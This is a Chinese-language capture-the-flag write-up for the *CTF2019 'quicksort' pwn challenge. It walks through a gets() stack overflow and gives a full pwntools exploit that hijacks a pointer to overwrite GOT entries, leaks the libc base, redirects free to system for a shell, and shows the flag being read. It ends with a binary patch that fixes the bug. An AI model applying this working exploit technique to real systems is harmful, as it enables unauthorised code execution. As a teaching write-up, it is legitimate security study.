*CTF2019 PWN quicksort

TOC

  1. 1. 程序功能介绍
    1. 1.1. 安全防护
    2. 1.2. 主要代码
  2. 2. 分析
    1. 2.1. 栈布局
  3. 3. 思路
    1. 3.1. 泄露基地址
    2. 3.2. getshell
      1. 3.2.1. 把free改成system
      2. 3.2.2. 把sh 写入到bss部分
  4. 4. 完整脚本
    1. 4.1. 运行实例
  5. 5. 修复
  6. 6. 总结

源文件、IDA分析文件、修复文件打包下载:quicksort.zip

该题主要考验的是对栈的构造能力,以及对算法的简单了解。

程序功能介绍

安全防护

ex@Ex:~/test$ checksec ./quicksort
[*] '/home/ex/test/quicksort'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE

主要代码

void __cdecl main_function()
{
int *temp_ptr; // ebx
char user_input[16]; // [esp+Ch] [ebp-2Ch]
int number_size; // [esp+1Ch] [ebp-1Ch]
int i; // [esp+20h] [ebp-18h]
int j; // [esp+24h] [ebp-14h]
int *array_ptr; // [esp+28h] [ebp-10h]
unsigned int v6; // [esp+2Ch] [ebp-Ch]

v6 = __readgsdword(0x14u);
user_input[1] = 0;
user_input[2] = 0;
user_input[3] = 0;
user_input[4] = 0;
user_input[5] = 0;
user_input[6] = 0;
user_input[7] = 0;
user_input[8] = 0;
user_input[9] = 0;
user_input[10] = 0;
user_input[11] = 0;
user_input[12] = 0;
user_input[13] = 0;
user_input[14] = 0;
user_input[15] = 0;
user_input[0] = 0;
number_size = 0;
puts("how many numbers do you want to sort?");
__isoc99_scanf("%d", &number_size);
getchar();
array_ptr = (int *)malloc(4 * number_size);
for ( i = 0; i < number_size; ++i )
{
printf("the %dth number:", i + 1);
gets(user_input);
temp_ptr = &array_ptr[i];
*temp_ptr = atoi(user_input);
}
sort(array_ptr, 0, number_size - 1);
puts("Here is the result:");
for ( j = 0; j < number_size; ++j )
printf("%d ", array_ptr[j]);
puts(&byte_8048AD2);
free(array_ptr);
}

分析

gets(user_input)明显存在溢出。只要我们合理的构造栈布局就可以控制程序流了。

栈布局

-0000002C user_input      db 16 dup(?)
-0000001C number_size dd ?
-00000018 i dd ?
-00000014 j dd ?
-00000010 array_ptr dd ? ; offset
-0000000C var_C dd ?
-00000008 db ? ; undefined
-00000007 db ? ; undefined
-00000006 db ? ; undefined
-00000005 db ? ; undefined
-00000004 var_4 dd ?
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
+00000008
+00000008 ; end of stack variables

思路

  1. 泄露基地址
  2. getshell

泄露基地址

这里关键是要控制利用sort函数来控制数据流,这里我主要是控制got表。

ex@ubuntu:~/test$ readelf --dyn-syms quicksort 

Symbol table '.dynsym' contains 18 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 00000000 0 NOTYPE LOCAL DEFAULT UND
1: 00000000 0 FUNC GLOBAL DEFAULT UND setbuf@GLIBC_2.0 (2)
2: 00000000 0 FUNC GLOBAL DEFAULT UND printf@GLIBC_2.0 (2)
3: 00000000 0 FUNC GLOBAL DEFAULT UND gets@GLIBC_2.0 (2)
4: 00000000 0 FUNC GLOBAL DEFAULT UND free@GLIBC_2.0 (2)
5: 00000000 0 FUNC GLOBAL DEFAULT UND getchar@GLIBC_2.0 (2)
6: 00000000 0 FUNC GLOBAL DEFAULT UND alarm@GLIBC_2.0 (2)
7: 00000000 0 FUNC GLOBAL DEFAULT UND __stack_chk_fail@GLIBC_2.4 (3)
8: 00000000 0 FUNC GLOBAL DEFAULT UND malloc@GLIBC_2.0 (2)
9: 00000000 0 FUNC GLOBAL DEFAULT UND puts@GLIBC_2.0 (2)
10: 00000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__
11: 00000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.0 (2)
12: 00000000 0 FUNC GLOBAL DEFAULT UND __isoc99_scanf@GLIBC_2.7 (4)
13: 00000000 0 FUNC GLOBAL DEFAULT UND atoi@GLIBC_2.0 (2)
14: 0804a084 4 OBJECT GLOBAL DEFAULT 26 stdout@GLIBC_2.0 (2)
15: 0804a060 4 OBJECT GLOBAL DEFAULT 26 stderr@GLIBC_2.0 (2)
16: 08048a7c 4 OBJECT GLOBAL DEFAULT 16 _IO_stdin_used
17: 0804a080 4 OBJECT GLOBAL DEFAULT 26 stdin@GLIBC_2.0 (2)

主要思路是劫持array_ptr,然后劫持got表,将free修改为main函数的地址,这样在程序结尾处调用free的时候,又会重新运行一遍main,而且即使sort之后,下面两个顺序也不会变,这个很重要,所以一定要控制好这个。

3: 00000000     0 FUNC    GLOBAL DEFAULT  UND gets@GLIBC_2.0 (2)
4: 00000000 0 FUNC GLOBAL DEFAULT UND free@GLIBC_2.0 (2)
sh.recvuntil('how many numbers do you want to sort?\n')
sh.sendline('1')

main_addr = 0x8048816 # main函数地址
main_addr_int = struct.unpack('i', p32(main_addr))[0]
log.info('gets.got: ' + hex(elf.got['gets']))

sh.recvuntil(' number:')
layout = [
str(main_addr_int).ljust(16, '\0'), # user_input
p32(1), # number_size
p32(1), # i
p32(0), # j
p32(elf.got['gets']) # array_ptr
]
# s()
sh.sendline(flat(layout))

sh.recvuntil('Here is the result:\n')
result = int(sh.recvuntil('\n'))
temp = struct.pack('i', result)
libc_base = u32(temp) - libc.symbols['gets']
log.success('libc_base: ' + hex(libc_base))

由于p32函数不支持负数,所以main_addr需要自行转换为int类型。

getshell

# again
sh.recvuntil('how many numbers do you want to sort?\n')
sh.sendline('2')

sh.recvuntil(' number:')

system_addr = libc_base + libc.symbols['system']
log.success('system_addr: ' + hex(system_addr))

system_addr_int = struct.unpack('i', p32(system_addr))[0]
# 把free改成system
layout = [
str(system_addr_int).ljust(16, '\0'), # user_input
p32(2), # number_size
p32(0), # i
p32(0), # j
p32(elf.got['free']) # array_ptr
]

sh.sendline(flat(layout))

# 把sh 写入到bss部分
temp_int = struct.unpack('i', 'sh\0\0')[0]
layout = [
str(temp_int).ljust(16, '\0'), # user_input
p32(0), # number_size
p32(0), # i
p32(0), # j
p32(elf.bss() + 0x100) # array_ptr
]
sh.recvuntil(' number:')
s()
sh.sendline(flat(layout))

sh.interactive()

上面的代码可主要分为两部分。

把free改成system

system_addr_int = struct.unpack('i', p32(system_addr))[0]
# 把free改成system
layout = [
str(system_addr_int).ljust(16, '\0'), # user_input
p32(2), # number_size
p32(0), # i
p32(0), # j
p32(elf.got['free']) # array_ptr
]

sh.sendline(flat(layout))

后面在调用free的时候就相当于直接调用system。

把sh 写入到bss部分

temp_int = struct.unpack('i', 'sh\0\0')[0]
layout = [
str(temp_int).ljust(16, '\0'), # user_input
p32(0), # number_size
p32(0), # i
p32(0), # j
p32(elf.bss() + 0x100) # array_ptr
]
sh.recvuntil(' number:')

sh.sendline(flat(layout))

这里把array_ptr指向了bss段,并把sh写入到bss段,elf.bss() + 0x100中的0x100是为了防止换行截断。

完整脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import struct

sh = process('./quicksort')
elf = ELF('./quicksort')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
# context.log_level = "debug"

# sh = remote('34.92.96.238', 10000)
# elf = ELF('./quicksort')
# libc = ELF('./libc.so.6')

def s():
raw_input('#')

# 创建pid文件,用于gdb调试
f = open('pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

sh.recvuntil('how many numbers do you want to sort?\n')
sh.sendline('1')

main_addr = 0x8048816 # main函数地址
main_addr_int = struct.unpack('i', p32(main_addr))[0]
log.info('gets.got: ' + hex(elf.got['gets']))

sh.recvuntil(' number:')
layout = [
str(main_addr_int).ljust(16, '\0'), # user_input
p32(1), # number_size
p32(1), # i
p32(0), # j
p32(elf.got['gets']) # array_ptr
]

sh.sendline(flat(layout))

sh.recvuntil('Here is the result:\n')
result = int(sh.recvuntil('\n'))
temp = struct.pack('i', result)
libc_base = u32(temp) - libc.symbols['gets']
log.success('libc_base: ' + hex(libc_base))


# again
sh.recvuntil('how many numbers do you want to sort?\n')
sh.sendline('2')

sh.recvuntil(' number:')

system_addr = libc_base + libc.symbols['system']
log.success('system_addr: ' + hex(system_addr))

system_addr_int = struct.unpack('i', p32(system_addr))[0]
# 把free改成system
layout = [
str(system_addr_int).ljust(16, '\0'), # user_input
p32(2), # number_size
p32(0), # i
p32(0), # j
p32(elf.got['free']) # array_ptr
]

sh.sendline(flat(layout))

# 把sh 写入到bss部分
temp_int = struct.unpack('i', 'sh\0\0')[0]
layout = [
str(temp_int).ljust(16, '\0'), # user_input
p32(0), # number_size
p32(0), # i
p32(0), # j
p32(elf.bss() + 0x100) # array_ptr
]
sh.recvuntil(' number:')

sh.sendline(flat(layout))

sh.interactive()

# 删除pid文件
os.system("rm -f pid")

运行实例

ex@ubuntu:~/test$ ./exp.py 
[+] Opening connection to 34.92.96.238 on port 10000: Done
[*] '/home/ex/test/quicksort'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] '/home/ex/test/libc.so.6'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] gets.got: 0x804a014
[+] libc_base: 0xf7d46000
[+] system_addr: 0xf7d80da0
[*] Switching to interactive mode
Here is the result:

$ ls
chall
flag
pwn
$ cat flag
*CTF{lSkR5u3LUh8qTbaCINgrjdJ74iE9WsDX}

修复

原理是在文件的’\x00’填充部分写一个跳转函数,在这个跳转函数里面设置每次接受的字符数目。

  1. 修改导入表

    将导入表中的gets修改为read,这个直接用vim编辑器就可以做到了。

  2. 填充指令

    将我们的指令填充在0x8048C90处,具体指令如下。

    push 16
    push DWORD PTR 8[esp]
    push 0
    call _read
    add esp, 12
    ret
  3. patched

    将下面的指令,

    8048901:    e8 fa fb ff ff       	call   8048500 <gets@plt>

    修改为如下的指令:

    8048901:    e8 8a 03 00 00       	call   8048c90 <_IO_stdin_used@@Base+0x214>

这样栈溢出的漏洞就被修复了,修复文件在上面的下载包里。

总结

这题还是比较综合的,不仅考验对栈的构建,还有排序算法需要我们对其进行控制。